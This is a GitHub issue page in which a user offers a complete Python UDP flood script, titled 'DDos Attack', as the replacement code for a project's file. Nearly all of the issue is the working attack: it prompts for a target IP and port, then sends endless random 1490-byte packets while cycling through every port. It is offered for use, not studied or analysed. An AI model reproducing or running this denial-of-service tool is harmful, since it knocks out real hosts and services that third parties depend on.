Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix #112

Open
eliekh05 opened this issue Jul 26, 2023 · 0 comments
Open

fix #112

eliekh05 opened this issue Jul 26, 2023 · 0 comments

Comments

@eliekh05
Copy link

eliekh05 commented Jul 26, 2023

replace .py file code with the following code:

import sys
import os
import time
import socket
import random
from datetime import datetime

Code Time

now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year

##############
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
#############

os.system("clear")
os.system("figlet DDos Attack")
print("Author : HA-MRX")
print("You Tube : https://www.youtube.com/channel/UCCgy7i_A5yhAEdY86rPOinA")
print("github : https://github.com/Ha3MrX")
print("Facebook : https://www.facebook.com/muhamad.jabar222")
print()

ip = input("IP Target : ")
port = int(input("Port : "))

os.system("clear")
os.system("figlet Attack Starting")
print("[ ] 0% ")
time.sleep(5)
print("[===== ] 25%")
time.sleep(5)
print("[========== ] 50%")
time.sleep(5)
print("[=============== ] 75%")
time.sleep(5)
print("[====================] 100%")
time.sleep(3)

sent = 0
while True:
sock.sendto(bytes, (ip, port))
sent = sent + 1
port = port + 1
print("Sent %s packet to %s through port: %s" % (sent, ip, port))
if port == 65535:
port = 1

of course with proper syntax for python 3 requires

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants
@eliekh05 and others